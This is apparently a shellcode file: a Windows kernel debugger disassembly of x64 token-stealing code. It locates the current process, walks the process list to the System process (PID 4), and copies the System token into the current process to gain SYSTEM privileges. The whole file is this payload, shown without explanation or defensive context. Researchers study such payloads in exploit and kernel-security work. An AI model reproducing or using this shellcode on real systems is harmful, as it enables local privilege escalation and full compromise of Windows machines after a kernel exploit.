shellcode.asm

1: kd> u ffff818a`4f400000 L20
ffff818a`4f400000 65488b142588010000 mov   rdx,qword ptr gs:[188h]
ffff818a`4f400009 4c8b82b8000000  mov     r8,qword ptr [rdx+0B8h]
ffff818a`4f400010 4d8b88e8020000  mov     r9,qword ptr [r8+2E8h]
ffff818a`4f400017 498b09          mov     rcx,qword ptr [r9]
ffff818a`4f40001a 488b51f8        mov     rdx,qword ptr [rcx-8]
ffff818a`4f40001e 3400            xor     al,0
ffff818a`4f400020 4883fa04        cmp     rdx,4
ffff818a`4f400024 7407            je      ffff818a`4f40002d
ffff818a`4f400026 3400            xor     al,0
ffff818a`4f400028 488b09          mov     rcx,qword ptr [rcx]
ffff818a`4f40002b ebed            jmp     ffff818a`4f40001a
ffff818a`4f40002d 488b4170        mov     rax,qword ptr [rcx+70h]
ffff818a`4f400031 24f0            and     al,0F0h
ffff818a`4f400033 49898058030000  mov     qword ptr [r8+358h],rax
ffff818a`4f40003a 90              nop
ffff818a`4f40003b 90              nop
ffff818a`4f40003c 90              nop
ffff818a`4f40003d 90              nop
ffff818a`4f40003e 90              nop
ffff818a`4f40003f 4831c0          xor     rax,rax
ffff818a`4f400042 c3              ret
ffff818a`4f400043 0000            add     byte ptr [rax],al
ffff818a`4f400045 0000            add     byte ptr [rax],al
ffff818a`4f400047 00ff            add     bh,bh
ffff818a`4f400049 ff              ???
ffff818a`4f40004a ff              ???
ffff818a`4f40004b ff              ???
ffff818a`4f40004c ff              ???
ffff818a`4f40004d ff              ???
ffff818a`4f40004e ff              ???
ffff818a`4f40004f 7fff            jg      ffff818a`4f400050
ffff818a`4f400051 ff              ???